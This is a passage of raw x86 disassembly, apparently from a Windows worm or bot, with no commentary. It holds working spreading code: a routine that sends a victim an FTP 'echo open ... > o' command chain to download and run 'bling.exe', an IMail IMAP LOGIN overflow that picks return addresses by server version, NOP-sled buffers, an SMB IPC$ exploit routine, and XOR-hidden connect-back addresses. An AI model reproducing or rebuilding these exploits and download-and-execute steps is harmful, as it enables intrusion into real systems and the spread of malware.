		push	1F4h
		call	ds:dword_42B014	; Sleep
		push	7C7h
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_41B128
		add	esp, 0C0h
		cmp	al, 1
		jnz	short loc_40CF16
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		inc	dword ptr [eax]


loc_40CF16:				; CODE XREF: .text:0040CF03j
		xor	eax, eax
		inc	eax


loc_40CF19:				; CODE XREF: .text:0040CEC7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		push	edi
		mov	esi, 160h
		push	esi
		mov	dword ptr [ebp-4], 6741A1CDh
		call	_malloc
		push	esi
		mov	edi, eax
		push	0
		push	edi
		call	_memset
		push	12h
		push	offset dword_43E780
		push	edi
		call	_memcpy
		lea	esi, [edi+11h]
		push	offset dword_432FB8
		push	esi
		call	_strcat
		push	offset aThcownziis ; "THCOWNZIIS!"
		push	esi
		call	_strcat
		not	dword ptr [ebp-4]
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	esi
		call	_strncat
		xor	eax, eax
		mov	ax, word ptr dword_4D525C
		add	esp, 38h
		push	eax
		call	dword_444260	; htons
		push	dword ptr [ebp+8]
		mov	[ebp-8], eax
		call	sub_4023C9
		pop	ecx
		push	eax
		call	dword_44417C	; inet_addr
		xor	dword ptr [ebp-8], 9393h
		mov	[ebp-0Ch], eax
		xor	dword ptr [ebp-0Ch], 93939393h
		push	2
		lea	eax, [ebp-8]
		push	eax
		push	offset word_43E79A
		call	_memcpy
		push	4
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43E79C
		call	_memcpy
		push	offset byte_43E798
		push	esi
		call	_strcat
		add	esp, 20h
		push	6
		push	1
		push	2
		call	dword_444100	; socket
		mov	esi, eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_44417C	; inet_addr
		push	1BBh
		mov	[ebp-18h], eax
		mov	word ptr [ebp-1Ch], 2
		call	dword_444260	; htons
		mov	[ebp-1Ah], ax
		push	10h
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		call	dword_4440AC	; connect
		test	eax, eax
		jnz	short loc_40D04F
		push	eax
		push	15Fh
		push	edi
		push	esi
		call	dword_4441A0	; send
		push	esi
		call	dword_444218	; closesocket
		push	edi
		call	_free
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40D051
; ---------------------------------------------------------------------------


loc_40D04F:				; CODE XREF: .text:0040D01Bj
		xor	eax, eax


loc_40D051:				; CODE XREF: .text:0040D04Dj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D055	proc near		; CODE XREF: .text:0040D728p

var_800		= byte ptr -800h
Dest		= byte ptr -400h
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 800h
		push	esi
		push	edi
		mov	edi, [ebp+arg_BC]
		push	0
		mov	esi, 400h
		push	esi
		lea	eax, [ebp+var_800]
		push	eax
		push	edi
		call	dword_444064	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D128
		movzx	eax, word ptr dword_4D1FE4
		push	eax
		push	[ebp+arg_0]
		call	sub_4023C9
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D128
		push	1F4h
		call	ds:dword_42B014	; Sleep
		push	offset aBling_exe ; "bling.exe\r\n"
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D128
		push	0
		push	esi
		push	offset dword_4D4BB0
		push	edi
		call	dword_444064	; recv
		push	edi
		call	dword_444218	; closesocket


loc_40D128:				; CODE XREF: sub_40D055+2Aj
					; sub_40D055+78j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40D055	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-14h], 10h
		call	_rand
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		lea	eax, [ebp+0Ch]
		push	eax
		mov	edi, edx
		add	edi, 7D0h
		mov	[ebp-20h], edi
		call	dword_444168	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40D17F
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_42B218	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	dword_4D4CC0, eax
		jz	loc_40D757


loc_40D17F:				; CODE XREF: .text:0040D165j
		push	6
		push	1
		push	2
		pop	ebx
		push	ebx
		call	dword_444100	; socket
		test	eax, eax
		mov	dword_4D4CBC, eax
		jz	loc_40D757
		test	esi, esi
		jz	short loc_40D1B6
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	_memcpy
		add	esp, 0Ch
		jmp	short loc_40D1BE
; ---------------------------------------------------------------------------


loc_40D1B6:				; CODE XREF: .text:0040D19Cj
		mov	eax, dword_4D4CC0
		mov	[ebp-0Ch], eax


loc_40D1BE:				; CODE XREF: .text:0040D1B4j
		test	esi, esi
		jz	short loc_40D1CC
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_40D1D0
; ---------------------------------------------------------------------------


loc_40D1CC:				; CODE XREF: .text:0040D1C0j
		mov	[ebp-10h], bx


loc_40D1D0:				; CODE XREF: .text:0040D1CAj
		push	dword ptr [ebp+0A8h]
		call	dword_444260	; htons
		push	dword ptr [ebp+8]
		mov	[ebp-0Eh], ax
		call	sub_4023C9
		pop	ecx
		push	eax
		call	dword_44417C	; inet_addr
		push	edi
		mov	esi, eax
		call	dword_444260	; htons
		movzx	eax, ax
		xor	eax, 7C1Fh
		mov	[ebp-1Ch], eax
		push	4
		lea	eax, [ebp-18h]
		push	eax
		xor	esi, 7C1F1AE0h
		push	offset dword_43E9A0
		mov	[ebp-18h], esi
		call	_memcpy
		push	ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	offset word_43E9A6
		call	_memcpy
		push	386h
		push	90h
		mov	edi, offset dword_4D4CC8
		push	edi
		call	_memset
		push	0Ch
		push	offset aA01Login ; "a01	LOGIN \"&"
		push	edi
		call	_memcpy
		push	138h
		push	offset dword_43E8E8
		push	offset dword_4D4D74
		call	_memcpy
		push	2Ah
		push	offset dword_43EAC0
		push	offset dword_4D4F94
		call	_memcpy
		add	esp, 48h
		push	0Bh
		push	offset aWe0wn	; "\" \"We0wn\"\r\n"
		push	offset word_4D504E
		call	_memcpy
		add	esp, 0Ch
		push	10h
		lea	eax, [ebp-10h]
		push	eax
		push	dword_4D4CBC
		call	dword_4440AC	; connect
		test	eax, eax
		mov	dword_4D4CB8, eax
		jnz	loc_40D757
		push	eax
		push	100h
		mov	esi, offset dword_4D4BB0
		push	esi
		push	dword_4D4CBC
		call	dword_444064	; recv
		push	offset aImail	; "IMail"
		push	esi
		mov	dword_4D4CB0, eax
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40D7DE
		push	offset a7_04	; "7.04"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D30D
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F82
		call	_memcpy
		push	4
		push	offset dword_43EA28


loc_40D303:				; CODE XREF: .text:0040D335j
					; .text:0040D370j ...
		push	offset dword_4D4F84
		jmp	loc_40D635
; ---------------------------------------------------------------------------


loc_40D30D:				; CODE XREF: .text:0040D2EAj
		push	offset a7_05	; "7.05"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D337
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F82
		call	_memcpy
		push	4
		push	offset dword_43EA30
		jmp	short loc_40D303
; ---------------------------------------------------------------------------


loc_40D337:				; CODE XREF: .text:0040D31Cj
		push	offset a7_06	; "7.06"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40D359
		push	offset a7_07	; "7.07"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D372


loc_40D359:				; CODE XREF: .text:0040D346j
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F82
		call	_memcpy
		push	4
		push	offset dword_43EA38
		jmp	short loc_40D303
; ---------------------------------------------------------------------------


loc_40D372:				; CODE XREF: .text:0040D357j
		push	offset a7_10	; "7.10"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40D394
		push	offset a7_11	; "7.11"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D3B0


loc_40D394:				; CODE XREF: .text:0040D381j
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F82
		call	_memcpy
		push	4
		push	offset dword_43EA40
		jmp	loc_40D303
; ---------------------------------------------------------------------------


loc_40D3B0:				; CODE XREF: .text:0040D392j
		push	offset a7_12	; "7.12"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D3DD
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F82
		call	_memcpy
		push	4
		push	offset dword_43EA48
		jmp	loc_40D303
; ---------------------------------------------------------------------------


loc_40D3DD:				; CODE XREF: .text:0040D3BFj
		push	offset a7_13	; "7.13"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40D3FF
		push	offset a7_14	; "7.14"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D41B


loc_40D3FF:				; CODE XREF: .text:0040D3ECj
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F82
		call	_memcpy
		push	4
		push	offset dword_43EA50
		jmp	loc_40D303
; ---------------------------------------------------------------------------


loc_40D41B:				; CODE XREF: .text:0040D3FDj
		push	offset a7_15	; "7.15"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D448
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F82
		call	_memcpy
		push	4
		push	offset dword_43EA58
		jmp	loc_40D303
; ---------------------------------------------------------------------------


loc_40D448:				; CODE XREF: .text:0040D42Aj
		push	offset a8_00	; "8.00"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D475
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F82
		call	_memcpy
		push	4
		push	offset dword_43EA60
		jmp	loc_40D303
; ---------------------------------------------------------------------------


loc_40D475:				; CODE XREF: .text:0040D457j
		push	offset a8_01	; "8.01"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D4A2
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F82
		call	_memcpy
		push	4
		push	offset dword_43EA68
		jmp	loc_40D303
; ---------------------------------------------------------------------------


loc_40D4A2:				; CODE XREF: .text:0040D484j
		push	offset a8_02	; "8.02"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D4CF
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F82
		call	_memcpy
		push	4
		push	offset dword_43EA70
		jmp	loc_40D303
; ---------------------------------------------------------------------------


loc_40D4CF:				; CODE XREF: .text:0040D4B1j
		push	offset a8_03	; "8.03"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D4FC
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F82
		call	_memcpy
		push	4
		push	offset dword_43EA78
		jmp	loc_40D303
; ---------------------------------------------------------------------------


loc_40D4FC:				; CODE XREF: .text:0040D4DEj
		push	offset a8_04	; "8.04"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D529
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F82
		call	_memcpy
		push	4
		push	offset dword_43EA80
		jmp	loc_40D303
; ---------------------------------------------------------------------------


loc_40D529:				; CODE XREF: .text:0040D50Bj
		push	offset a8_05	; "8.05"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D556
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F82
		call	_memcpy
		push	4
		push	offset dword_43EA88
		jmp	loc_40D303
; ---------------------------------------------------------------------------


loc_40D556:				; CODE XREF: .text:0040D538j
		push	offset a8_10	; "8.10"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D583
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F7A
		call	_memcpy
		push	4
		push	offset dword_43EA90
		jmp	loc_40D630
; ---------------------------------------------------------------------------


loc_40D583:				; CODE XREF: .text:0040D565j
		push	offset a8_11	; "8.11"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D5B0
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F7A
		call	_memcpy
		push	4
		push	offset dword_43EA98
		jmp	loc_40D630
; ---------------------------------------------------------------------------


loc_40D5B0:				; CODE XREF: .text:0040D592j
		push	offset a8_12	; "8.12"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D5DA
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F7A
		call	_memcpy
		push	4
		push	offset dword_43EAA0
		jmp	short loc_40D630
; ---------------------------------------------------------------------------


loc_40D5DA:				; CODE XREF: .text:0040D5BFj
		push	offset a8_13	; "8.13"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D604
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F7A
		call	_memcpy
		push	4
		push	offset dword_43EAA8
		jmp	short loc_40D630
; ---------------------------------------------------------------------------


loc_40D604:				; CODE XREF: .text:0040D5E9j
		push	offset a8_14	; "8.14"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40D75E
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F7A
		call	_memcpy
		push	4
		push	offset dword_43EAB0


loc_40D630:				; CODE XREF: .text:0040D57Ej
					; .text:0040D5ABj ...
		push	offset dword_4D4F7C


loc_40D635:				; CODE XREF: .text:0040D308j
		call	_memcpy
		add	esp, 18h


loc_40D63D:				; CODE XREF: .text:0040D7EDj
		mov	esi, ds:dword_42B014
		push	64h
		call	esi	; Sleep
		push	0
		push	edi
		call	_strlen
		pop	ecx
		push	eax
		push	edi
		push	dword_4D4CBC
		call	dword_4441A0	; send
		push	64h
		call	esi	; Sleep
		push	dword ptr [ebp-20h]
		xor	edi, edi
		mov	[ebp-0Ch], edi
		call	dword_444260	; htons
		push	6
		xor	esi, esi
		inc	esi
		push	esi
		push	ebx
		mov	[ebp-0Eh], ax
		call	dword_444100	; socket
		push	10h
		lea	ecx, [ebp-10h]
		push	ecx
		push	eax
		mov	dword_4D4CB4, eax
		call	dword_4441E4	; bind
		cmp	eax, edi
		mov	dword_4D4CB8, eax
		jnz	loc_40D757
		push	esi
		push	dword_4D4CB4
		call	dword_444230	; listen
		cmp	eax, edi
		mov	dword_4D4CB8, eax
		jnz	loc_40D757
		mov	eax, dword_4D4CB4
		mov	[ebp-128h], eax
		lea	eax, [ebp-28h]
		push	eax
		push	edi
		push	edi
		lea	eax, [ebp-12Ch]
		push	eax
		push	esi
		mov	dword ptr [ebp-28h], 8
		mov	[ebp-24h], edi
		mov	[ebp-12Ch], esi
		call	ds:dword_42B21C	; select
		test	eax, eax
		jle	short loc_40D757
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	dword_4D4CB4
		call	dword_4440BC	; accept
		mov	ecx, [ebp+0B0h]
		shl	ecx, 6
		push	eax
		lea	ecx, dword_43D880[ecx]
		inc	dword ptr [ecx]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		mov	dword_4D50C8, eax
		rep movsd
		call	sub_40D055
		add	esp, 0C0h
		push	dword_4D4CBC
		call	dword_444218	; closesocket
		push	dword_4D4CB4
		call	dword_444218	; closesocket
		push	dword_4D50C8


loc_40D751:				; CODE XREF: .text:0040D7F9j
		call	dword_444218	; closesocket


loc_40D757:				; CODE XREF: .text:0040D179j
					; .text:0040D194j ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D75E:				; CODE XREF: .text:0040D613j
		push	offset a8_15	; "8.15"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D78B
		push	ebx
		push	offset dword_43EA24
		push	offset word_4D4F7A
		call	_memcpy
		push	4
		push	offset dword_43EAB8
		jmp	loc_40D630
; ---------------------------------------------------------------------------


loc_40D78B:				; CODE XREF: .text:0040D76Dj
		push	offset aHotfix2	; "hotfix2"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40D7F3
		push	offset a4_0	; "4.0"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40D7F3
		push	offset a5_0	; "5.0"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40D7F3
		push	offset a6_0	; "6.0"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40D7F3
		push	offset a7_0	; "7.0"
		push	esi
		call	_strstr
		pop	ecx
		pop	ecx
		jmp	short loc_40D7F3
; ---------------------------------------------------------------------------


loc_40D7DE:				; CODE XREF: .text:0040D2D5j
		push	offset aImail	; "IMail"
		push	esi
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40D63D


loc_40D7F3:				; CODE XREF: .text:0040D79Aj
					; .text:0040D7ABj ...
		push	dword_4D4CBC
		jmp	loc_40D751

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7FE	proc near		; CODE XREF: .text:0040DD59p
					; .text:0040DD7Bp ...

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
Dst		= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
Src		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
Str		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	__alloca_probe
		mov	eax, ds:dword_43310C
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, ds:dword_433110
		push	esi
		mov	[ebp+var_C], eax
		push	edi
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		xor	ebx, ebx
		xor	eax, eax


loc_40D837:				; CODE XREF: sub_40D7FE+4Fj
		mov	cl, [ebp+eax+Str]
		mov	[ebp+eax*2+Src], cl
		mov	[ebp+eax*2+var_103], bl
		inc	eax
		cmp	eax, 28h
		jl	short loc_40D837
		push	60h		; Size
		lea	eax, [ebp+var_B4]
		push	offset dword_43EFF0 ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		shl	eax, 1
		push	eax		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	eax, [ebp+var_84]
		push	eax		; Dst
		call	_memcpy
		add	esp, 1Ch
		push	9		; Size
		lea	eax, [ebp+Str]
		push	(offset	aC_4+3)	; Src
		push	eax		; Str
		call	_strlen
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		add	al, 1Ah
		shl	al, 1
		mov	[ebp+var_1], al
		push	1		; Size
		lea	eax, [ebp+var_1]
		push	eax		; Src
		lea	eax, [ebp+var_B1]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		shl	al, 1
		add	al, 9
		mov	[ebp+var_2], al
		push	1		; Size
		lea	eax, [ebp+var_2]
		push	eax		; Src
		lea	eax, [ebp+var_87]
		push	eax		; Dst
		call	_memcpy
		xor	eax, eax
		mov	ax, word ptr dword_43F3F8
		add	esp, 2Ch
		push	eax
		call	dword_444260	; htons
		push	2		; Size
		xor	eax, 9999h
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax		; Src
		push	offset dword_43ECE8 ; Dst
		call	_memcpy
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40D9FE
		mov	edi, 0DACh
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	90h		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_C0]
		imul	eax, 3Ch
		lea	eax, dword_43F438[eax]
		push	4		; Size
		push	eax		; Src
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14E0]
		push	eax		; Dst
		call	_memcpy
		mov	esi, offset aI_1 ; "ë"
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_14D0]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_11AC]
		push	offset dword_4330F8 ; Src
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		push	[ebp+var_14]	; Src
		lea	eax, [ebp+var_11A8]
		push	eax		; Dst
		call	_memcpy
		add	esp, 40h
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_119C]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 10h
		xor	eax, eax


loc_40D9B0:				; CODE XREF: sub_40D7FE+1CAj
		mov	cl, [ebp+eax+Dst]
		mov	[ebp+eax*2+var_4804], cl
		mov	[ebp+eax*2+var_4803], bl
		inc	eax
		cmp	eax, edi
		jl	short loc_40D9B0
		mov	esi, 1C52h
		push	esi		; Size
		lea	eax, [ebp+var_89B4]
		push	31h		; Val
		push	eax		; Dst
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	_memset
		push	esi		; Size
		lea	eax, [ebp+var_68DC]
		push	31h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		jmp	short loc_40DA55
; ---------------------------------------------------------------------------


loc_40D9FE:				; CODE XREF: sub_40D7FE+11Bj
		push	7D0h		; Size
		lea	eax, [ebp+var_F14]
		push	90h		; Val
		push	eax		; Dst
		call	_memset
		mov	esi, offset aI_1 ; "ë"
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_E74]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_10]
		push	eax		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_10]
		push	eax		; Src
		lea	eax, [ebp+var_758]
		push	eax		; Dst
		call	_memcpy
		mov	eax, dword_43F438
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40DA55:				; CODE XREF: sub_40D7FE+1FEj
		push	0E29h		; Size
		lea	eax, [ebp+var_2CA8]
		push	31h		; Val
		push	eax		; Dst
		call	_memset
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		push	ebx
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40DA94


loc_40DA8D:				; CODE XREF: sub_40D7FE+2BDj
					; sub_40D7FE+2E4j ...
		xor	al, al
		jmp	loc_40DC42
; ---------------------------------------------------------------------------


loc_40DA94:				; CODE XREF: sub_40D7FE+28Dj
		push	ebx
		mov	esi, 640h
		push	esi
		lea	eax, [ebp+var_744]
		push	eax
		push	edi
		call	dword_444064	; recv
		push	ebx
		push	68h
		push	offset dword_43F058
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DA8D
		push	ebx
		push	esi
		lea	eax, [ebp+var_744]
		push	eax
		push	edi
		call	dword_444064	; recv
		push	ebx
		push	0A0h
		push	offset dword_43F0C8
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DA8D
		push	ebx
		push	esi
		lea	eax, [ebp+var_744]
		push	eax
		push	edi
		call	dword_444064	; recv
		cmp	[ebp+arg_C0], ebx
		jz	loc_40DBAA
		push	68h		; Size
		lea	eax, [ebp+var_89B4]
		push	offset dword_43F288 ; Src
		push	eax		; Dst
		call	_memcpy
		push	1B5Ah		; Size
		lea	eax, [ebp+var_4804]
		push	eax		; Src
		lea	eax, [ebp+var_894C]
		push	eax		; Dst
		call	_memcpy
		push	70h		; Size
		lea	eax, [ebp+var_68DC]
		push	offset dword_43F2F8 ; Src
		push	eax		; Dst
		call	_memcpy
		push	0A5Eh		; Size
		lea	eax, [ebp+var_3770]
		push	eax		; Src
		lea	eax, [ebp+var_686C]
		push	eax		; Dst
		call	_memcpy
		push	84h		; Size
		lea	eax, [ebp+var_5DA8]
		push	offset dword_43F370 ; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 3Ch
		push	ebx
		push	10FCh
		lea	eax, [ebp+var_89B4]
		push	eax
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DA8D
		push	ebx
		push	esi
		lea	eax, [ebp+var_744]
		push	eax
		push	edi
		call	dword_444064	; recv
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40DC00
; ---------------------------------------------------------------------------


loc_40DBAA:				; CODE XREF: sub_40D7FE+2FCj
		push	7Ch		; Size
		lea	eax, [ebp+var_2CA8]
		push	offset dword_43F170 ; Src
		push	eax		; Dst
		call	_memcpy
		push	7D0h		; Size
		lea	eax, [ebp+var_F14]
		push	eax		; Src
		lea	eax, [ebp+var_2C2C]
		push	eax		; Dst
		call	_memcpy
		push	90h		; Size
		lea	eax, [ebp+var_245C]
		push	offset off_43F1F0 ; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		push	ebx
		mov	[ebp+var_1FB1],	bl
		push	0CF8h
		lea	eax, [ebp+var_2CA8]


loc_40DC00:				; CODE XREF: sub_40D7FE+3AAj
		push	eax
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DA8D
		push	12Ch
		call	ds:dword_42B014	; Sleep
		push	dword_43F3F8
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_41B128
		add	esp, 0C0h
		test	al, al
		setnz	al


loc_40DC42:				; CODE XREF: sub_40D7FE+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D7FE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-14h], 2
		call	dword_44417C	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_444260	; htons
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_444100	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
